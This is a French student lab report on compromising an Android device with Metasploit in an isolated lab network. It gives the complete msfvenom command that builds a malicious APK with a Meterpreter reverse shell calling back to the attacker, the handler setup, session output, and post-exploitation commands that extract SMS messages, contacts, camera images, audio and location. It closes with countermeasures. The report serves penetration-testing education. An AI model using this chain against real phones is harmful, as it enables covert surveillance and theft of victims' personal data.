

# Rapport de Travaux Pratiques

## Exploitation d'un terminal Android via Metasploit Framework

**Auteure :** Charif Chaima

**Filière :** Cycle Ingénieur — Sécurité des Systèmes d'Information

**Module :** Sécurité Offensive & Tests d'Intrusion

**Environnement :** Kali Linux 2024 / VirtualBox / Android

**Date :** 3 mai 2026

**Avertissement éthique et légal :** Ce travail pratique est réalisé exclusivement dans un environnement isolé et contrôlé, à des fins pédagogiques. Toute reproduction de ces techniques sur des systèmes tiers sans autorisation explicite est illégale (Code pénal, art. 323-1 et suivants) et passible de sanctions pénales.

## 0 Table des matières

---

|                                                                        |          |
|------------------------------------------------------------------------|----------|
| <b>Introduction</b>                                                    | <b>2</b> |
| <b>1 Environnement de test</b>                                         | <b>2</b> |
| 1.1 Architecture du laboratoire . . . . .                              | 2        |
| 1.2 Configuration réseau . . . . .                                     | 2        |
| 1.3 Partage de fichiers VM ↔ hôte . . . . .                            | 2        |
| <b>2 Génération du vecteur d'attaque</b>                               | <b>2</b> |
| 2.1 Principe du <i>reverse shell</i> . . . . .                         | 2        |
| 2.2 Création de l'APK malveillant avec <code>msfvenom</code> . . . . . | 3        |
| <b>3 Mise en place du listener Metasploit</b>                          | <b>3</b> |
| <b>4 Interaction post-exploitation</b>                                 | <b>3</b> |
| 4.1 Commandes Meterpreter essentielles . . . . .                       | 3        |
| 4.2 Exemple de session . . . . .                                       | 4        |
| <b>5 Analyse des risques et contre-mesures</b>                         | <b>4</b> |
| 5.1 Vecteurs d'infection courants . . . . .                            | 4        |
| 5.2 Contre-mesures recommandées . . . . .                              | 4        |
| <b>6 Bilan des compétences acquises</b>                                | <b>4</b> |
| <b>Conclusion</b>                                                      | <b>5</b> |
| <b>Références</b>                                                      | <b>5</b> |

## 0 Introduction

Ce rapport présente la mise en œuvre d'un scénario d'attaque simulé ciblant un terminal Android, dans le cadre du module de sécurité offensive. L'objectif pédagogique est de comprendre le cycle complet d'une attaque par *reverse shell* — de la génération du vecteur d'infection jusqu'à la prise de contrôle à distance — afin de mieux appréhender les mécanismes de défense correspondants.

Les outils utilisés sont **Metasploit Framework** et **msfvenom**, deux références de l'industrie en matière de tests d'intrusion.

## 1 Environnement de test

### 1.1 Architecture du laboratoire

L'ensemble du TP est réalisé dans un réseau fermé sans accès à Internet, constitué des éléments suivants :

| Machine            | Système                         | Rôle                        |
|--------------------|---------------------------------|-----------------------------|
| Machine attaquante | Kali Linux 2024.1 (VirtualBox)  | Génération payload / écoute |
| Cible              | Android 10 (émulateur/physique) | Victime simulée             |
| Hôte               | Windows 11                      | Transfert de fichiers       |

### 1.2 Configuration réseau

L'adaptateur réseau de la VM Kali est configuré en mode **Bridged**, permettant à la machine virtuelle d'obtenir une adresse IP routable sur le même sous-réseau que le terminal Android. Cette configuration est indispensable pour que la connexion inverse (*reverse connection*) puisse s'établir.

Listing 1 – Vérification de l'adresse IP de Kali

```
ip a show eth0
# R sultat attendu : 192.168.1.15/24
```

### 1.3 Partage de fichiers VM ↔ hôte

Pour transférer l'APK généré vers le PC hôte, un dossier partagé VirtualBox est monté :

Listing 2 – Montage du dossier partagé VirtualBox

```
sudo apt install virtualbox-guest-utils -y
sudo mkdir -p /mnt/shared
sudo mount -t vboxsf Partage_TP /mnt/shared
```

## 2 Génération du vecteur d'attaque

### 2.1 Principe du *reverse shell*

Un *reverse shell* inverse la relation client-serveur habituelle : c'est la **cible** qui initie la connexion vers l'attaquant. Cette technique contourne les pare-feux qui bloquent les connexions entrantes tout en autorisant les connexions sortantes, ce qui est le cas de la majorité des configurations mobiles.

## 2.2 Création de l'APK malveillant avec msfvenom

msfvenom est l'outil de génération de *payloads* de Metasploit. Il produit ici un fichier APK Android embarquant un agent *Meterpreter* :

Listing 3 – Génération du payload Android

```
msfvenom \
  -p android/meterpreter/reverse_tcp \
  LHOST=192.168.1.15 \
  LPORT=4444 \
  -o /mnt/shared/app_demo.apk
```

| Paramètre                          | Description                              |
|------------------------------------|------------------------------------------|
| -p android/meterpreter/reverse_tcp | Payload : agent Meterpreter pour Android |
| LHOST=192.168.1.15                 | IP d'écoute (machine Kali)               |
| LPORT=4444                         | Port d'écoute TCP                        |
| -o app_demo.apk                    | Fichier de sortie                        |

**Note :** Dans un contexte réel, l'attaquant dissimulerait ce payload dans une application légitime (*repackaging*) pour tromper la vigilance de l'utilisateur.

## 3 Mise en place du listener Metasploit

Avant d'installer l'APK sur la cible, il est nécessaire de démarrer le gestionnaire d'écoute (*handler*) côté attaquant. Ce composant attend la connexion entrante de la victime et ouvre la session Meterpreter dès que l'application est lancée.

Listing 4 – Configuration et lancement du handler Metasploit

```
msfconsole -q
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.1.15
set LPORT 4444
exploit -j      # -j : lancer en arri re-plan (job)
```

Une fois l'APK installé et exécuté sur le terminal Android, la console Metasploit affiche :

```
[*] Started reverse TCP handler on 192.168.1.15:4444
[*] Sending stage (77185 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened
```

## 4 Interaction post-exploitation

### 4.1 Commandes Meterpreter essentielles

La session Meterpreter offre un accès complet au terminal compromis. Les commandes ci-dessous illustrent l'étendue des capacités accessibles à un attaquant :

| Commande                             | Action                                          |
|--------------------------------------|-------------------------------------------------|
| <code>sysinfo</code>                 | Informations système (modèle, OS, architecture) |
| <code>dump_sms</code>                | Extraction des messages SMS                     |
| <code>dump_contacts</code>           | Extraction du carnet d'adresses                 |
| <code>webcam_snap</code>             | Capture photo (caméra avant ou arrière)         |
| <code>record_mic</code>              | Enregistrement audio via le microphone          |
| <code>geolocate</code>               | Géolocalisation GPS du terminal                 |
| <code>shell</code>                   | Accès au shell Android (ADB-like)               |
| <code>download &lt;chemin&gt;</code> | Téléchargement d'un fichier depuis la cible     |
| <code>upload &lt;fichier&gt;</code>  | Envoi d'un fichier vers la cible                |

## 4.2 Exemple de session

Listing 5 – Exemple d'interaction Meterpreter

```
meterpreter > sysinfo
Computer : localhost
OS       : Android 10 - Linux 4.14 (aarch64)
Meterpreter : java/android

meterpreter > geolocate
[*] Current Location:
    Latitude   : 33.5731
    Longitude  : -7.5898
```

## 5 Analyse des risques et contre-mesures

### 5.1 Vecteurs d'infection courants

L'efficacité de cette attaque repose sur l'ingénierie sociale. Les vecteurs les plus fréquemment rencontrés sont : les APK distribués hors du Play Store (*sideloading*), les liens de phishing par SMS ou messagerie, et les fausses mises à jour d'applications.

### 5.2 Contre-mesures recommandées

- **Pour les utilisateurs** : n'installer que des applications provenant de sources officielles ; activer Google Play Protect ; maintenir Android à jour ; inspecter les permissions demandées par chaque application.
- **Pour les équipes de sécurité** : mettre en place une solution de *Mobile Device Management* (MDM) ; intégrer une analyse statique et dynamique des APK dans les pipelines CI/CD ; former les collaborateurs à la détection du phishing.
- **Sur le réseau** : surveiller les connexions sortantes sur des ports non standards (ici 4444) ; utiliser un IDS/IPS capable de détecter les signatures Meterpreter.

## 6 Bilan des compétences acquises

- Maîtrise de `msfvenom` pour la génération de payloads multi-plateformes.
- Compréhension du mécanisme de *reverse shell* et de son contournement des pare-feux.
- Configuration et gestion d'un handler Metasploit (`exploit/multi/handler`).
- Exploration des capacités de post-exploitation via Meterpreter sur Android.

- Sensibilisation aux bonnes pratiques de sécurité mobile côté défense.

## 6 Conclusion

---

Ce travail pratique a permis d'appréhender concrètement le cycle d'une attaque ciblant un terminal mobile Android. La facilité relative avec laquelle un payload peut être généré et déployé souligne l'importance cruciale de la sensibilisation des utilisateurs et de la mise en œuvre de mesures de sécurité adaptées. La connaissance des techniques offensives reste, pour l'ingénieur en sécurité, le meilleur fondement pour concevoir des architectures de défense robustes.

## 6 Références

---

- Metasploit Framework Documentation — <https://docs.metasploit.com>
- OWASP Mobile Security Testing Guide (MSTG) — <https://owasp.org/www-project-mobile-security-testing-guide/>
- Android Security Bulletins — <https://source.android.com/docs/security/bulletin>
- Kennedy, D. et al., *Metasploit : The Penetration Tester's Guide*, No Starch Press, 2011.